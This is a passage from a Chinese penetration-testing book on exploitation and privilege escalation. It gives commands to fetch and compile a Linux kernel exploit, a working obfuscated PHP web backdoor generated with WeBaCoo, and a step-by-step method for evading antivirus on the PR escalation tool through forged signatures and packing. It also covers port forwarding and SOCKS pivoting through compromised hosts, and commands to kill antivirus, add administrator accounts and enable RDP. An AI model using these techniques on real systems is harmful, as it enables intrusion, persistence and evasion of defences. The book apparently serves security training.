使用“wget url 漏洞地址”命令下载漏洞程序。例如,通过检测得知内核为 Linux 3.0.0,可能存

在 perf_swevent 漏洞,其漏洞编号为 CVE-2013-2094,可利用程序名字为 26131,下载命令如下。

wget http://www.exploit-db.com/download/26131

1.4.3 编译并执行

在一般情况下,执行如下命令执行即可。对特殊的编译情况,可利用漏洞程序会给出相应的说明。

gcc 26131.c –o 26131

chmod +x 26231

./26231

如果能够获取 root 权限,则会进行相应的提示。root 权限可以通过命令“id”或者提示符来认定。

1.4.4 总结与思考

下面总结一些提权技巧。

可以根据编译结果来判断是否存在漏洞。例如,“[-] mmap(): Operation not permitted”表示

没有权限,无法成功提权。

可以在相应内核版本的虚拟机中编译漏洞利用程序,下次碰到时可以直接上传执行,从而提

高效率。

可以使用“./Linux_Exploit_Suggester.pl >1.txt”命令将所有结果保存在 1.txt 中,然后对照程

序进行下载和编译。

在使用“wget http://www.exploit-db.com/exploits/5092”命令下载时需要添加“--no-check

-certificate”参数。如果不能下载,则需要使用浏览器打开网站下载。

1.5 PHP WeBaCoo 后门

WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类 Web 后门工具,它借助 HTTP 协议在客

户端和 Web 服务器之间实现了执行代码的网页终端。WeBaCoo 的设计理念是躲避 AV、NIDS、IPS、

网络防火墙和应用防火墙的查杀,提供混淆和原始两种后门代码(原始代码较难检测)。WeBaCoo

使用 HTTP 响应头传送命令执行的结果,Shell 命令经 Base64 编码后隐藏在 Cookie 头中,是目前较

为难得的一款 PHP 后门操控程序。其后门程序可以在 Windows 和 Linux 操作系统中使用,主程序采

用 Python 语言编写,用户可以根据自身情况对其进行定制和修改。

1.5.1 简介

WeBaCoo 的最新版本为 WeBaCoo 0.2.3,该程序在 BT5 及 Kali 平台中默认配置,2012 年以后作

者已经停止更新。在 Kali Linux 平台上,默认位于/usr/bin/目录下,可执行程序为“webacoo”。

WeBaCoo 的官方网站为 https://bechtsoudis.com/archive/webacoo/index.html,下载地址为 https://

github.com/anestisb/WeBaCoo/zipball/master 及 http://bechtsoudis.com/data/tools/webacoo-latest.tar.gz。

Kali Linux 直接获取命令如下。

git clone git://github.com/anestisb/WeBaCoo.git

30





第 1 章 提权基础

1.5.2 使用方法

1.操作模式

WeBaCoo 有生成(Generation)和终端(Terminal)两种模式。使用生成模式,指定“-g”选项,

可以创建一个包含 PHP 有效载荷的后门代码;使用远程终端模式,指定“-t”选项,可以连接受感

染的服务器(其中后门 PHP 代码已被注入)。

2.使用生成模式

使用默认配置生成模糊后门代码 my_backdoor.php,命令如下。

webacoo.pl -g -o my_backdoor.php

使用 exec 有效载荷混淆后门代码生成 my_backdoor2.php 文件,命令如下。

webacoo.pl -g -o my_backdoor2.php -f 3

使用 popen 有效载荷生成原始后门代码 raw_backdoor.php 文件,命令如下。

webacoo.pl -g -o my_backdoor2.php -f 5 -r

3.使用终端模式

使用默认设置“-u web_path”访问服务器,命令如下。

webacoo.pl -t -u http://10.0.1.11/backdoor.php

将“Test-Cookie”作为 Cookie 名称、“TtT”作为分隔符,访问服务器,命令如下。

webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie" -d "TtT"

将“Test-Cookie2”作为 Cookie 名称、“TtT”作为分隔符,使用代理服务器 10.0.1.4:8080 访问

服务器,命令如下。

webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie2" -d "TtTt" -p 10.0.1.4:8080

将“My-Cookie”作为 Cookie 名称,使用 tor 代理网络访问后门,命令如下。

webacoo.pl -t -u http://example.com/backdoor.php -c "My-Cookie" -p tor 1.5.3 参数详解

WeBaCoo 的常用参数如下。

Cm:以 Base64 编码的 Shell 指令。

Cn:加载编码后输出内容的 Cookie 名称。

Cp:封装编码后输入内容的分割符。

-f FUNCTION:使用 PHP 系统函数 system、shell_exec、exec、passthru、popen。

-g:制作后门代码。

-o:指定生成的后门程序文件名。

-u URL:后门 URL 地址。

-e CMD:单独命令执行模式,需要加“-t”和“-u”参数。

-m METHOD:使用 HTTP 方式,默认为“GET”。



31





网络攻防实战研究:漏洞利用与提权

-c C_NAME:Cookie 名字,默认为“M-cookie”。

-d DELIM:分隔符(默认值:每个请求随机)。

-a AGENT HTTP:头用户代理(默认情况下存在)。

-p PROXY:使用代理(tor,ip:port or user:pass:ip:port)。

-v LEVEL:详细级别。LEVEL 值为 0 表示无附加信息,默认值为 0;LEVEL 值为 1 表示打

印的 HTTP 头;LEVEL 值为 2 表示打印 HTTP 头和数据。

-l LOG:登录活动文件。

-h:显示帮助文件并退出。

update:检查升级文件,如果有则升级。

使用 load 命令进行扩展,说明如下。

mysql-cli:MySQL 命令行模式。

psql-cli:Postgres 命令行模式。

upload:使用 HTTP 的 POST 方法上传文件。

download:下载文件。

stealth:通过.htaccess 处理增加的隐形模块。

1.5.4 使用实例

(1)生成后门

使用“webacoo -g -o backdoor.php”命令生成 backpdoor.php 后门文件,如图 1-44 所示。



图 1-44 生成后门文件

(2)参考后门代码文件内容

使用“cat backdoor.php”命令查看其内容,具体如下。

<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N

z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W

y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0

9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y

0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D

T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ?>

(3)连接后门

使用“webacoo -t -u http://www.antian365.com/backdoor.php”命令连接服务器,如图 1-45 所示。

连接成功后,可以执行 Linux 下的命令,例如 pwd、id,如图 1-46 所示。

32





第 1 章 提权基础



图 1-45 连接后门所在服务器



图 1-46 执行命令

(4)下载文件

在当前状态下执行 load 命令后,使用“download filename”命令下载文件,前提是服务器当前

目录中存在该文件。如图 1-47 所示,执行“dowload config_inc.php”命令,直接将 config_inc.php 文

件下载到本地,使用“cat config_inc.php”命令可以查看下载到本地的文件内容,如图 1-48 所示。





图 1-47 下载文件 图 1-48 读取下载的文件内容

(5)连接数据库

使用“mysql-cli localhost root password”命令连接数据库,可以对数据进行操作(在实际测试过

程中未能成功)。

1.5.5 总结与思考

下面总结 WeBaCoo 的使用技巧。



33





网络攻防实战研究:漏洞利用与提权

在 Windows 环境下需要对应函数的支持。WeBaCoo 在 Windows 操作系统中需要 PHP 程序

支持相应的函数,可以在 php.ini 文件中设置 disable_functions,取消禁用函数 exec、system、

passthru、shell_exec,示例如下。

disable_functions

=escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source 提供 HTTPS 代理支持。使用如下命令,配合 Burp Site 等工具实现。

webacoo -t -u https://example.com/https_test.php -p 127.0.0.1:8080

webacoo -t -u http://example.com/https_test.php -p 127.0.0.1:8080

在非 Ubantu 环境下,需要 liburi-perl、libio-socket-socks-perl 组件的支持,否则会报错,如

图 1-49 所示。



图 1-49 需要 perl 组件支持

1.6 对提权工具 PR 的免杀

对工具软件的免杀有两种方式,一种是手工免杀,另外一种是通过工具软件直接加壳。在本节

中将介绍如何使用编译和反编译工具对 PR 程序进行免杀,并使用加壳软件直接加壳。

1.6.1 什么是 PR

PR 是指提权 Windows 跟踪注册表项的 ACL 权限提升漏洞。Windows 管理规范(WMI)提供程

序在没有正确地隔离 NetworkService 和 LocalService 账号的情况下运行的进程,同一账号下运行的

两个独立进程可以完全访问对方的文件句柄、注册表项等资源。WMI 提供程序的主机进程在某些情

况下会持有 SYSTEM 令牌,如果攻击者可以以 NetworkService 或 LocalService 账号访问计算机,就

可以执行代码,探索 SYSTEM 令牌的 WMI 提供程序的主机进程。一旦攻击者找到了 SYSTEM 令牌,

就可以获得 SYSTEM 权限的提升。

1.6.2 如何对提权工具进行免杀

1.获取文件信息

首先我们来看 PR.EXE 这个样本文件的基本信息。如图 1-50 所示,使用 PEiD 对 PR 程序进行检

测,可以看到,它是用 C++ 6.0 编写的(没有混淆过),入口点的地址为 0000476F。

单击“EP 区段”后的“>”按钮,如图 1-51 所示,查看 PR 程序一共有几个区段。

34





第 1 章 提权基础





图 1-50 查看 PR 程序基本信息 图 1-51 查看 EP 区段

因为文件体积比较小,所以区段也都不大,方便我们对该提权工具进行特征码定位免杀(当然,

如果有源代码,免杀更容易实现)。

2.更改 PR 文件的 MD5 值

(1)定位并修改字符串

用 C32ASM 将 PR 文件以 HEX(十六进制)方式打开,定位字符串“.DLL”,将其填充为“00”。

(2)修改 PR 文件,增加数字签名

预处理完成后,对引擎逐一进行测试(同时开启多个引擎会干扰免杀的针对性)。

3.绕过杀毒引擎

QVM 人工智能引擎用于扫描检测用户计算机中的恶意程序。360 杀毒集成了 BitDefender 杀毒

引擎和 360 云查杀引擎。前者属于常规的杀毒引擎,能够查杀已知病毒、修复感染型病毒破坏的用

户文件;后者必须在连网状态下使用,能够快速响应最新的木马病毒。QVM 人工智能引擎的意义在

于,它不仅能够辅助这两款引擎进行扫描,提高查杀率,还能在断网状态下发挥作用,代替云查杀

引擎检测出最新的恶意程序。具体设置可以在 360 杀毒的“多引擎设置”界面进行,如图 1-52 所示。

4.绕过 QVMII 引擎

将“.DLL”填充为“00”后,如图 1-53 所示,利用数字签名添加工具以 360 杀毒为签名样本进

行伪造签名操作。





图 1-52 设置杀毒引擎 图 1-53 QVMII 引擎免杀

先选择一个带有数字签名的可执行文件,然后选择需要免杀的 PR 程序,如图 1-54 所示,对该

PE 文件添加数字签名操作后,QVMII 引擎已经初步免杀。然后,使用 360 杀毒进行查杀,如图 1-55

所示,没有病毒告警,QVMII 引擎顺利绕过。



35





网络攻防实战研究:漏洞利用与提权





图 1-54 伪造签名 图 1-55 杀毒日志

5.对 BitDefender 杀毒引擎的免杀处理

BitDefender 引擎的查杀主要由特征码数据库来完成,所以针对该引擎的免杀需要定位特征码。

定位特征码的工具是 MyCCL 3.0,通过找到的特征码,利用 C32ASM 修改特征码定位的函数。

使用 BitDefender 引擎进行查杀,如图 1-56 所示,提示为病毒。

使用定位工具,选择要做免杀的 123.exe 文件,然后选中“复合定位”单选按钮,其他选项保持

默认值,如图 1-57 所示,定位其特征码。





图 1-56 BitDefender 引擎报警 图 1-57 定位特征码

该 PE 文件的特征码为 000022E9_00000002,用 C32ASM 定位该特征码地址即可找到该函数。

如图 1-58 所示,修改此处数据,因为此处的字符串不是字母,所以不能通过改变大小写来达到免杀

的目的。这里的汇编代码是“CALL00402A80”,我们可以使用 OllyDbg 来修改此处的代码,使用 JMP

指令将此处代码跳转到空白区域,从而在保证程序正常运行的情况下达到免杀的目的。

修改后,再次使用 360 杀毒进行查杀,如图 1-59 所示,顺利通过查杀。

6.绕过小红伞引擎

由于小红伞引擎是高启发性的引擎,所以绕过难度比较大。可能是因为之前的操作,笔者的样

本用小红伞进行查杀时已经达到了免杀的效果,笔者推测可能是在预处理时将已经定位的特征码过

滤了。如图 1-60 所示,将引擎全部打开,然后扫描,顺利通过。

36





第 1 章 提权基础

7.程序实际运行测试

测试该 PE 文件是否能够成功运行。如图 1-61 所示,PR 程序成功运行,未报错。





图 1-58 通过 C32ASM 软件定位特征码地址 图 1-59 通过 BitDefender 杀毒引擎





图 1-60 通过 5 个杀毒引擎 图 1-61 实际环境测试

1.6.3 加壳软件 VMProtect Ultimate

VMProtect 是新一代的软件保护系统。将保护后的代码放到虚拟机中运行,会使分析反编译的

代码和破解变得极为困难。使用 MAP 文件或内建的反编译引擎,可以快速选择需要保护的代码。与

其他大部分保护程序不同,VMProtect 可以修改程序的源代码。

VMProtect 可将被保护文件中的部分代码转换到在虚拟机(以下称作 VM)上运行的程序(以下

称作 bytecode)中。同样,可把 VM 当成具备命令系统的虚拟处理器,该命令系统与 Intel 8086 处理

器所使用的完全不同。例如,VM 没有负责比较两个操作数的命令,也没有有条件与无条件的转移

等。因此,黑客必须开发一款特定的工具来分析与反编译 bytecode,而且相当耗时。可是,我们也

知道,没有无法破解的保护程序,这也是我们将保护级别提高到破解费用与购买费用相当(破解费

用甚至超过购买费用)的程度的原因。不管怎么样,请记住:VMProtect 是唯一能“隐藏”主要软件

保护机制的工具。

(1)加载免杀程序

VMProtect Ultimate 安装完成后,可以直接运行 VMProtect 程序。如图 1-62 所示,将需要实现免

杀的程序直接拖入程序主界面。



37





网络攻防实战研究:漏洞利用与提权



图 1-62 加载免杀程序

(2)编译程序

单击工具栏上的三角形图标,执行编译。程序会自动进行编译,编译成功后会弹出是否运行程

序的提示。如图 1-63 所示,可以根据实际情况决定是否直接运行。程序会自动在被免杀程序所在目

录生成增加了“vmp.”的文件名称,例如免杀 wce142_x32.exe 会生成 wce142_x32.vmp.exe 文件。



图 1-63 编译程序

(3)测试程序可否正常运行

在 DOS 窗口直接运行 wce142_x32.vmp.exe,如图 1-64 所示,运行成功。

VMProtect 免杀相对简单,但进行免杀的程序要尽量使用原程序,即未做处理的程序。对开发

者编译后的程序,VMProtect 能够很好地进行免杀,但如果程序进行处理过,在加壳后执行就可能会

出错。

38





第 1 章 提权基础



图 1-64 测试程序可否正常运行

1.7 通过 LCX 端口转发实现内网突破

理论上,只要是连接网络的计算机都可以被访问,但实际上,由于技术水平等原因,这一点往

往很难实现。例如,局域网中的某台计算机仅开放了 Web 服务,该服务只供内网用户使用,外网用

户根本没有办法直接访问。因此,要想让外网用户能够访问局域网中的系统服务,就必须进行端口

映射等操作。端口映射在入侵内网的时候经常用到,特别是在登录远程终端服务时,使用端口映射

是非常方便的。

lcx.exe 是一个端口转发工具,相当于把 A 机上的 3389 端口转发到具有外网 IP 地址的 B 机上,

这样,连接 B 机的 3389 端口就相当于连接了 A 机的 3389 端口。lcx 程序多用于被控制计算机(肉

机)处于内网的情况,被控制机可能中了木马程序,虽然能够进行控制,但还是不如使用远程终端

登录本机进行管理方便。因此,在很多情况下,黑客会想方设法在被控制计算机上开启 3389 端口,

然后通过 LCX 等程序进行端口转发,进而从本地连接被控制计算机的远程终端并进行管理和使用。

1.7.1 确定被控制计算机的 IP 地址

在被控制计算机上开启远程终端,然后执行“ipconfig /all”命令,查看其网络配置情况。如图

1-65 所示,该计算机的 IP 地址为 192.168.80.129。



图 1-65 确定被控制计算机的 IP 地址



39





网络攻防实战研究:漏洞利用与提权

1.7.2 在被控制计算机上执行端口转发命令

在被控制计算机上执行“lcx slave 218.69.*.* 51 192.168.80.129 3389”命令,如图 1-66 所示,执

行完毕会给出一些提示,如果显示为“Make a Connection to 218.69.*.*:51”,则表示端口转发正确。



图 1-66 在被控制计算机上执行端口转发命令

说明

LCX 一共有 3 条命令。第一条命令“lcx lister 51 3389”在具有外网独立 IP 地址的计算机上执行,

表示在本机上监听 51 端口(该端口主要用于接收被控制计算机的 3389 端口转发过来的数据)。第二

条命令“lcx slave 218.69.*.* 51 192.168.80.129 3389”表示将本机 IP 地址为 192.168.80.129 的 3389

端口转发到远程地址为 218.69.*.*的 51 端口。第三条命令用于进行端口转向。



1.7.3 在本机上执行监听命令

在本机上打开 DOS 命令提示符界面,到 lcx.exe 程序所在路径执行“lcx lister 51 3389”命令,

监听 51 端口。监听成功,会显示如图 1-67 所示的数据。



图 1-67 在本机上监听 51 端口

注意

在本机上监听的端口必须是未使用的端口,可以使用“netstat -an |find "51" ”命令查看。如

果没有显示结果,则表示 51 端口可以用来进行监听。

被控制计算机与本机成功建立连接后会不停地显示连接数据,如图 1-68 所示,如果未出现

数据发送和接收的情况,说明连接建立不成功。

40





第 1 章 提权基础



图 1-68 成功建立连接



1.7.4 在本机上使用远程终端进行登录

在 DOS 提示符下输入“mstsc”命令,打开远程终端连接器,输入“127.0.0.1”后单击“连接”

按钮进行远程终端连接,在出现登录界面后分别输入用户名和密码,验证通过后,即可远程进入被

控制计算机的桌面。如图 1-69 所示,输入“ipconfig /all”及“net user”命令,可以查看网络配置情

况及用户信息。



图 1-69 远程登录被控制计算机

1.7.5 查看本地连接

在被控制计算机上使用“netstat -an”命令查看当前所有的连接时,可以看到被控制计算机在与

其本身进行远程终端连接,如图 1-70 所示,而实际的 3389 端口是与本机的 51 端口连接的。



41





网络攻防实战研究:漏洞利用与提权



图 1-70 查看实际网络连接

1.8 使用 SocksCap 进行内网突破

端口映射功能用于将一台主机的“假”IP 地址(内网 IP 地址)映射成一个“真”IP 地址(外网

独立 IP 地址),当用户访问提供映射的主机的某个端口时,服务器会将请求转到局域网中某台提供

这种特定服务的主机上。利用端口映射功能,还可以将一台“真”IP 地址计算机的多个端口映射成

内部不同计算机上的不同端口。此外,端口映射功能可以完成一些特定的代理功能,例如代理 FTP、

POP、SMTP、Telnet 等协议。一台主机理论上可以提供超过 6 万个端口用于映射。

端口映射分为动态和静态端口映射。静态端口映射就是在 NAT 网关上开放一个固定的端口,然

后设定此端口收到的数据要转发给内网某个 IP 地址和端口,不管有没有连接,这个映射关系会一直

存在。因此,可以让公网主机主动访问内网的一台计算机,NAT 网关可以是交换机、路由器或其他

拥有独立 IP 地址的计算机。动态端口映射是指当内网中的一台计算机要访问一个网站(例如新浪网)

时,会向 NAT 网关发送数据包,包头中包括对方(就是新浪网)IP 地址、端口和本机 IP 地址、端

口,NAT 网关会把本机 IP 地址、端口分别替换成自己的公网 IP 地址、一个未使用的端口,并记下

这个映射关系,供以后转发数据包使用。然后,把数据发给对方,对方收到数据后作出反应,发送

数据到 NAT 网关的那个未使用的端口,NAT 网关将数据转发给内网中的那台计算机,实现内网和公

网的通信。当连接关闭时,NAT 网关会释放分配给这个连接的端口,以便以后的连接继续使用。动

态端口映射其实就是 NAT 网关的工作方式。

目前,很多木马及专业软件都具有 Socks 代理功能。在肉机(具有外网独立 IP 地址的计算机)

上安装木马或者这些软件后,肉机便具有代理功能了。使用 SocksCap 等代理软件可以很方便地突破

内网,通过肉机访问内网中的计算机。

1.8.1 安装并运行 SocksCap

本例使用的是 sc32r238 汉化版,其早期版本已经过期,不能使用。安装 SocksCap 后,会给出一

个许可协议,在窗口中单击“接受”按钮即可接受该许可。

42





第 1 章 提权基础

说明

安装 SocksCap 的等待时间会比较长,这是因为软件要进行文件的自解压。

安装 sc32r238 原始版本后,需要运行相应的汉化程序,否则会提示程序已经过期,程序会

自动关闭。



1.8.2 设置 SocksCap

运行 SocksCap,单击“文件”→“设置”选项,打开“SocksCap 设置”窗口,在“SOCKS 服

务器”文本框中输入 IP 地址和端口,然后选中“SOCKS 版本 5”单选按钮,在“域名解析”设置区

选中“先尝试由本地端再由远端解析”单选按钮,如图 1-71 所示,最后单击“确定”或者“应用”

按钮完成设置。

1.8.3 建立应用程序标识项

在 SocksCap 主窗口中单击“新建”图标,打开“新建应用程序标识项”窗口,在“标识项名称”

文本框中输入一个标识名称,例如本例中的“3389”,然后选择一个应用程序,如图 1-72 所示,最

后单击“确定”按钮,完成应用程序标识项的设置。





图 1-71 SocksCap 设置

图 1-72 建立应用程序标识项

说明

建立应用程序标识项的目的就是在运行 SocksCap 后

可以快速打开应用程序。新建应用程序标识项后,会

将建立的“命令行”程序的图标自动添加到 SocksCap

的主窗口中,如图 1-73 所示。



应用程序标识项中的“命令行”

(应用程序)都是由



SocksCap 代理的,即“命令行”(应用程序)可以

图 1-73 自动整理应用程序标识项

使用 Socks 代理。





43





网络攻防实战研究:漏洞利用与提权

1.8.4 运行“命令行”代理

单击“3389”应用程序标识项,打开远程终端连接界面,输入登录 IP 地址“192.168.80.129”后

单击“连接”按钮,进行 3389 登录。在出现 3389 登录窗口后,输入用户名和密码,进入远程终端

桌面,如图 1-74 所示。在该远程终端桌面打开命令提示符界面,输入“netstat –an”命令,可以看到

该计算机的 3389 远程终端连接是该 IP 地址本身。



图 1-74 使用 SocksCap 代理登录远程终端

技巧

在 SocksCap 主界面双击新建的“应用程序标识项”图标,可以快速打开应用程序。

在使用 SocksCap 代理时,如果未能连接成功,可以在 Socks 设置中选择不同的域名解析方

式进行尝试。



1.8.5 总结与思考

借助 SocksCap 可以方便地进行内网的渗透。使用 SocksCap 的关键就是在肉机上搭建 Socks 服

务器,如果未能在内网入口处搭建 Socks 代理服务器,仅通过使用一些 Socks 代理搜索软件搜索的

Socks 代理服务器的 IP 地址和端口是很难进入内网的。不过,好在目前很多木马程序都提供了 Socks 代理服务器功能,仅需在进行木马初始配置时设置 Socks 代理的端口和密码,在肉机上运行木马程

序后,该肉机就成为 Socks 代理服务器了。

1.9 Windows 系统提权基础命令

在第 1.1 节中,我们对提权进行了介绍。在实际提权过程中,常常需要通过 WebShell 来执行各

种命令,以获取操作系统(内网系统)服务器所开启的端口、进程、系统服务、已安装程序、系统

安全设置等信息。对这些信息的探测,都是建立在可以执行基本命令的 WebShell 上的。

1.9.1 获取 IP 地址信息

IP 地址主要有两种,一种是内网 IP 地址,另一种是外网 IP 地址。在渗透提权过程中,如果遇

到外网 IP 地址,可以在该服务器上启用 3389 后直接登录;如果遇到内网 IP 地址,则需要配合一些

44





第 1 章 提权基础

代理程序(例如 lcx 等)才能登录。

IP 地址的获取比较简单,有的 WebShell 上会自己显示(但仅显示 IP 地址)。在 Windows 中使用

“ipconfig /all”命令,在 Linux 中使用“ifconfig -a”命令,通过显示的信息来获取 IP 地址。如图 1-75

所示,获取 Windows 下某主机的 IP 地址信息,其中包含了很多重要信息。本例是无线网络,如果是

域内主机,则可以通过 DNS 等信息获取 DNS 服务器 IP 地址等。



图 1-75 获取 IP 地址信息

1.9.2 获取端口信息

我们习惯使用“netstat -an”命令来获取目前主机所有端口的开放情况及网络连接情况。端口开

放情况也可以通过 NMap 等扫描软件获取。使用 Netstat 一般是在有一定权限的情况下,例如获取了

3389 开放的端口等。Netstat 可以附加一些参数来显示更加详细的信息,具体如下。

-b:显示包含于创建每个连接或监听端口的可执行组件。在某些情况下,已知可执行组件拥

有多个独立组件,且包含于创建连接或监听端口的组件序列将被显示。执行此选项可能需要

很长时间,如果没有足够的权限,可能会失败。





-o:显示与每个连接相关的所属进程 ID。

-v:与“-b”选项一起使用时将显示包含于为所有可执行组件创建连接或监听端口的组件。

“netstat -anb”命令用于获取进程号(PID)、端口开放情况、开放端口程序及服务组件等信息。

“netstat -ano”命令用于获取 TCP/UDP 协议信息、端口和进程号。“netstat -anvb”命令用于获取进

程名、对应的进程 PID、端口所用的协议、调用的可执行组件、相应的组件和第三方进程的系统

路径。

1.9.3 获取服务信息和进程信息

1.获取服务信息

在 Windows 下有很多第三方程序是通过服务运行的,如果攻击者从服务信息中获取了第三方程

序的名称,就可以利用其相关漏洞进行提权。服务信息的获取还可以用于关闭杀毒软件和防火墙,

以及关闭某些防护进程。可以通过“net start”命令查看系统所开启的所有服务,通过“net stop servicesname”命令停止服务,通过“net start servicename”命令开启服务。

2.获取进程信息

通过“tasklist /svc”命令可以获取运行的进程名称、服务和 PID。可以通过 msinfo32 命令获取



45





网络攻防实战研究:漏洞利用与提权

更加详细的进程信息,示例如下。

start /wait msinfo32.exe /report c:\windows\list.txt /categories swenv+SWEnvRunningTasks

获取环境变量,示例如下。

start /wait msinfo32.exe /report c:\windows\temp\Startup.txt /categories swenv+SWEnvEnvVars

获取程序组信息(可以获取目标服务器所安装的软件信息),示例如下。

start /wait msinfo32.exe /report c:\windows\temp\programs.txt /categories swenv+SWEnvStartupPrograms

获取启动程序相关信息,示例如下。

start /wait msinfo32.exe /report c:\windows\temp\Startup.txt /categories swenv+SWEnvStartupPrograms

1.9.4 进程结束命令

在提权过程中需要关闭或者结束一些杀毒软件或者防护软件的进程。结束进程命令除了系统自

带的之外,还有 pskill,下面进行介绍。

1.taskkill 命令

taskkill 是 Windows 自带的终止进程程序,其命令规则如下。

TASKKILL [/S system [/U username [/P [password]]]] { [/FI filter] [/PID processid

| /IM imagename] } [/F] [/T]

比较常用的参数是“/im”及“/f”。例如,强制关闭 360 杀毒程序,命令如下。

taskkill /im 360tray.exe /f

taskill 一般需要配合 tasklist 使用。通过 tasklist,可以查看系统目前运行的进程,获取其 PID。

如图 1-76 所示,获取 httpd.exe 进程的 PID 为 452,则杀死该进程的命令为“taskkill /pid 452 /F”。如

图 1-77 所示,成功将该进程杀死。





图 1-76 获取所有的进程 图 1-77 结束某个进程

2.PsKill 命令

PsKill 程序是 PsTools 包中的一个子程序,其功能与 taskkill 类似,第一次运行时需要加入参数

46





第 1 章 提权基础

accepteula,即使用“pskill /accepteula”命令接受其许可。

PsTools 的下载地址为 https://download.sysinternals.com/files/PSTools.zip,其命令规则如下。

pskill [-t] [\\computer [-u username [-p password]]] <process ID | name> 常见用法为“pskill 进程号(或者名字)”。例如,结束 notepad.exe 进程,命令为“pskill notepad”,

如图 1-78 所示。



图 1-78 PsKill 结束进程

1.9.5 用户管理命令

对 Windows 操作系统来说,系统访问一般是通过用户口令来实现的。大多数提权是通过漏洞利

用程序获取 system 权限,添加管理员用户账号到系统中,开启 3389 端口登录系统的。用户管理可

以通过控制台进行,也可以在命令行中进行。需要注意的是,有些系统设置了密码复杂度,也就是

说,如果不满足复杂度,将无法添加用户。

1.添加用户 temp 为管理员

net user temp T@#qweasd2016 /add & net Localgroup Administrators temp/Add 上面的命令可以分开写,具体如下。

net user temp T@#qweasd2016 /add

net Localgroup Administrators temp /Add

查看当前系统管理员用户,命令如下。

net Localgroup Administrators

加入远程桌面用户组,命令如下。

net localgroup “Remote Desktop Users“ temp /add

查看指定用户的信息,命令如下。

Net user temp

2.激活 guest 用户

net user guest /active:yes

修改 guest 用户的密码,命令如下。



47





网络攻防实战研究:漏洞利用与提权

net user guest 1234

1.9.6 开启 3389 端口

在 Windows Server 2003 中,使用 cmd 命令开启 3389 端口,示例如下。

wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1

在 Windows Server 2008/7/Server 2012 中,使用 cmd 命令开启 3389 端口,示例如下。

1

wmic /namespace:\\root\cimv2\terminalservices path

win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1

2

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1

3 reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

在 Windows Server 2012 和 Windows 7 中只需要使用前两条命令。

48





第 2 章 Windows 漏洞利用与提权

Windows 是目前世界上使用最为广泛的操作系统之一。从 2000 年起,计算机操作系统飞速发展,

从 Windows 95 到目前的 Windows Server 2016,我们感受到了互联网技术的跌宕起伏。在操作系统层

面,曾经爆发了几次高危漏洞,可以远程直接获取对方服务器的权限。在整个渗透的流程中,提权

是很多人认为最难攻克的,其实不然,只要掌握了相关的知识点,在各种技术的配合下 99% 都可以

提权成功。本章着重介绍 Windows 提权的基础知识、Windows 中的一些提权技巧、口令扫描,以及

一些精彩的提权方法和思路。

本章主要内容

Ê Windows 提权基础

Ê 提权辅助工具 Windows-Exploit-Suggester

Ê Windows 低权限进程及服务提权

Ê Windows 口令扫描及 3389 口令暴力破解

Ê 使用 WinlogonHack 获取系统密码

Ê Windows Server 2003 域控服务器密码获取

Ê MS05-039 漏洞利用实战

Ê MS08-067 远程溢出漏洞利用实战

Ê 通过 Pr 提权渗透某高速服务器

Ê 以 Public 权限渗透某 ASP.NET 网站

Ê Windows 7/2008 服务器 64 位版本 MS12-042 漏洞提权

Ê 对某虚拟主机的一次 SiteManager 提权

Ê 社工渗透并提权某服务器

Ê 通过 SQL 注入漏洞渗透某服务器并直接提权

Ê phpinfo 函数信息泄露漏洞的利用与提权

Ê 通过简单的漏洞渗透某公司内外部网络

Ê 通过文件上传漏洞渗透某 Windows 2012 服务器并提权

Ê 通过戴尔服务器远程访问管理卡获取服务器权限

2.1 Windows 提权基础

本章提及的 Windows 提权特指针对 Windows 操作系统的提权,有关数据库及应用程序的提权会





网络攻防实战研究:漏洞利用与提权

在后续章节中详细介绍。本章主要介绍一些与提权相关的基础知识。

2.1.1 Windows 提权信息的收集

Windows 提权信息涉及多个方面,下面分别进行介绍。

1.操作系统的名称和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

2.主机名称和所有环境变量

主机名称:hostname 命令。

环境变量:SET 命令。

3.查看用户信息

查看所有用户:“net user”或“net1 user”命令。

查看管理员用户组:

“net localgroup administrators”或“net1 localgroup administrators”命令。

查看远程终端在线用户:“query user”或“quser”命令。

4.查看远程端口

(1)通过注册表查看

运行“REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/

v PortNumber”命令。

(2)通过命令行查看

获取对应的 PID 号:“tasklist /svc | find "TermService"”命令。

通过 PID 号查找端口:“netstat -ano | find "1980"”命令。

5.查看网络情况

网络配置情况:“ipconfig /all”命令。

路由器信息:“route print”命令。

要查看 ARP 缓存:“arp –a”命令。

查看网络连接:“netstat –ano”命令。

查看防火墙规则,命令如下。

netsh firewall show config

netsh firewall show state

6.应用程序和服务

查看服务的进程 ID:“tasklist /SVC”命令。

查看已安装驱动程序的列表:DRIVERQUERY 命令。

查看已经启动的 Windows 服务:“net start”命令。

查看某服务的启动权限:“sc qc TermService”命令。

查看已安装程序的列表:“wmic product list brief”命令。

查看服务列表:“wmic service list brief”命令。

50

第 2 章 Windows 漏洞利用与提权

查看进程列表:“wmic process list brief”命令。

查看启动程序列表:“wmic startup list brief”命令

查看已安装的更新和安装日期,代码如下。

wmic qfe get Caption,De**ion,HotFixID,InstalledOn

搜索可以提升权限的特定漏洞,代码如下。

